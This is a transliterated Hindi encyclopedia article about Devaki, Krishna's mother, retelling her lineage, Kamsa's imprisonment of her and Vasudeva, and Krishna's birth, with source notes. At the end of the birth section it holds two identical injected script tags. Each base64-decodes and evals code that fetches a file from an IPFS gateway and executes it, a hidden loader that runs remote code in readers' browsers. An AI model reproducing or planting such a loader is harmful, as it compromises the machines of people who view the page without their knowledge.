देवकी

parichay
[[chitr:krishna-parents.jpg|thumb|250px|krishna-balaram, devaki-vasudev se milate hue, dvara- raja ravi varma]] ahuk ne apani bahin ahuki ka byah avanti desh mean kiya tha. ahuk ki ek putri bhi thi, jisane do putr utpann kiye. unake nam haian- devak aur ugrasen. ve donoan devakumaroan ke saman tejasvi haian. devak ke char putr hue, jo devataoan ke saman sundar aur vir haian. unake nam haian- devavan, upadev, sudev aur devarakshak. unake sat bahinean thian, jinaka byah devak ne vasudev ke sath kar diya. un satoan ke nam is prakar haian- devaki, shrutadeva, yashoda, shrutishrava, shrideva, upadeva aur suroopa. ugrasen ke nau putr hue; unamean kans sabase b da tha. shesh ke nam is prakar haian- nyagrodh, sunama, kank, shanku, subhoo, rashtrapal, baddhamushti aur sumushtik. unake paanch bahinean thian- kansa, kansavati, surabhi, rashtrapali aur kanka. ye sab-ki-sab b di sundari thian. is prakar santanoan sahit ugrasen tak kukur-vansh ka varnan kiya gaya.

chhandogy upanishad mean ullekh

devaki- krishna ki mata ka nam devaki tatha pita ka nam vasudev hai. devaki kans ki bahan thi. kans ne pati sahit usako karavas mean band kar rakha tha, kyoanki usako jyotishiyoan ne bataya tha ki devaki ka koee putr hi usaka vadh karega. kans ne devaki ke sabhi putroan ka vadh kiya, kintu jab krishna utpann hue to vasudev ratoan-rat unhean gokul gram mean nand-yashoda ke yahaan chho d aye. devaki ke bare mean isase adhik kuchh vishesh vaktavy jnat nahian hota hai. chhandogy upanishad mean bhi devakiputr krishna(ghor agianras ke shishy) ka ullekh hai.

any ullekh

mathura ke raja ugrasen ke chhote bhaee devak ki putri, vasudev ki patni tatha krishna ki vastavik mata ka nam devaki tha. isake atirikt shaivy ki kanya, yudhishthir ki patni, udgith rrishi ki patni ka bhi devaki ke nam se ullekh milata hai. yadyapi devaki krishna ki vastavik mata haian, tathapi krishna-bhakt kavi yashoda ki tulana mean usake vyaktitv mean matritv ka ubhar nahian de sake. devaki ko krishna-janm ke poorv hi unake atiprakrit vyaktitv ka jnan tha phir bhi janm ke samay unake atiprakrit chihnoan ko dekhakar vah chintit ho jati haian^[1]. is avasar par unake matritv ka abhas matr milata hai. vah vasudev se kisi bhi prakar krishna ki raksha ki prarthana karati haian ^[2]. krishna-katha mean devaki ki doosari jhalak mathura mean usake krishna se punarmilan ke avasar par hoti hai ^[3]. krishna ke alaukik vyaktitv ke parichay evan balaram ke svayan ko sheshanag ka avatar kahane par vah apana vilap tyagakar maun ho jati haian. isalie katha ke uttarardh mean devaki ka matritv dab sa gaya hai ant mean devaki ka vatsaly bhakti mean badal jata hai. vah krishna se svayan ko gokul mean sharan dene ki prarthana karati haian ^[4].

krishna-katha devi bhagavat ke anusar

krishna-katha mean aankit sabhi patr kisi n kisi karanavash shapagrast hokar janme the. kashyap ne varun se kamadhenu maangi thi phir lautayi nahian, at: varun ke shap se ve gvale hue. devi bhagavat mean diti aur aditi ko daksh kanya mana gaya hai. aditi ka putr indr tha jisane maan ki prerana se diti ke garbh ke 49 bhag kar die the jo maroot hue. aditi se rusht hokar diti ne shap diya tha-'jis prakar gupt roop se toone mera garbh nasht karane ka prayatn karavaya hai usi prakar prithvi par janm lekar too bar-bar mritavatsa hogi. phalat: usane devaki ke roop mean janm liya. -(devi bhagavat)

[[chitr:Devki-and-Vasudev.jpg|thumb|left|250|kans se devaki ko bachate huye vasudev]]

devaki katha

devaki ugrasen ke chhote bhaee devak ki sabase chhoti kanya thi. kans apani chhoti chacheri bahan devaki se atyant sneh karata tha. jab usaka vivah vasudev se hua to kans svayan rath haankakar apani us bahan ko pahanchane chala. raste mean akashavani huee- 'moorkh! too jise itane prem se pahuanchane ja raha hai, usi ke athavean garbh se utpann putr tera vadh karega.' akashavani sunate hi kans ka sara prem samapt ho gaya. vah rath se kood p da aur devaki ke kesh pak d kar talavar se usaka vadh karane ke liye taiyar ho gaya.

vasudev ka vachan

'mahabhag! ap kya karane ja rahe haian? vishv mean koee amar hokar nahian aya hai. apako stri vadh jaisa jaghany pap nahian karana chahiye. yah apaki chhoti bahan hai aur apake liye putri ke saman hai. ap kripa karake ise chho d dean. apako isake putr se bhay hai. maian pratijna karata hooan ki isase jo bhi putr hoga, use maian apako lakar de dooanga.' vasudev ne kaha. kans ne vasudev ke vachanoan par vishvas karake devaki ko chho d diya. kans svabhav se hi atyachari tha. isaliye usane apane pita ugrasen ko bandi banakar karagar mean dal diya. shasak hote hi usane apane asur sevakoan ko svatantrata de di. yajn band ho gaye. dharmakrity aparadh mane jane lage. gau aur brahmanoan ki hiansa hone lagi.

narad ki salah

samay pakar devaki ji ko pratham putr hua. vasudev ji apane vachan ke anusar use lekar kans ke samip pahuanche. kans ne unaka adar kiya aur kaha-'isase mujhe koee bhay nahian hai. ap ise lekar laut jayean.' vahaan devarshi narad bhi the. unhoanne kaha- apane yah kya kiya? vishnu kapati hai. apake vadh ke liye unhaian avatar lena hai. pata nahian ve kis garbh mean ayean. pahala garbh bhi athavaan ho sakata hai aur athavaan garbh bhi pahala ho sakata hai.' devarshi ki bat sunakar kans ne bachche ka pair pak dakar use shilakhand par patak diya. devaki chitkar kar uthi. kans ne navadampati ko tatkal hathak di-be di mean jak dakar karagar mean dal diya aur kathor pahara baitha diya. isi prakar devaki ke chh: putroan ko kans ne kramash: maut ke ghat utar diya. satavean garbh mean anant bhagavan shesh padhare. bhagavan ke adesh se yogamaya ne is garbh ko akarshit karake vasudev ki doosari patni rohini ke garbh mean pahuancha diya. yah prachar ho gaya ki devaki ka garbh stravit ho gaya.

krishna janm

devaki ke athavean garbh ka samay aya. unaka sharir oj se poorn ho gaya. kans ko nishchit ho gaya ki ab ki zaroor mujhe marane vala vishnu aya hai. paharedaroan ki sankhya badha di gayi. bhadrapad ki aandheri rat ki ashtami tithi thi. shankh, chakr, gada, padm, vanamala dharan kiye bhagavan devaki-vasudev ke samaksh prakat hue. bhagavan ka darshan karake mata devaki dhany ho gayian. pun: bhagavan nanhean shishu ke roop mean devaki ki god mean a gaye. paharedar so gaye. vasudev-devaki ki hathak di-be di apane-ap khul gayi. bhagavan ke adesh se vasudev ji unhean gokul mean yashoda ki god mean dal aye aur vahaan se unaki tatkal paida huee kanya le aye. kanya ke rone ki avaz sunakar paharedaroan ne kans ko soochana pahuanchayi aur vah bandigrih mean dau data hua aya. devaki se kanya ko chhinakar kans ne jaise hi use shila par patakana chaha, vah usake hath se chhootakar akash mean chali gayi aur kans ke shatru ke kahian aur prakat hone ki bhavishyavani karake antardhan ho gayi. ek-ek karake kans ke dvara bheje gaye sabhi daity gokul mean shrikrishna balaram ke hathoan yamalok sidhare aur ant mean mathura ki rangashala mean kans ki mrityu ke sath usake atyacharoan ka ant hua. vasudev-devaki ke jayaghosh ke svaroan ne mata devaki ko chauanka diya aur jab mata ne aankh kholakar dekha to ram-shyam unake charanoan mean p de the. vasudev-devaki ke du:khoan ka ant hua. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

↑ soorasagar, p0 (622-625
↑ soorasagar0p0 627
↑ soorasagar, p0 3708
↑ soorasagar p0 3740

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] soorasagar, p0 (622-625

[2] soorasagar0p0 627

[3] soorasagar, p0 3708

[4] soorasagar p0 3740

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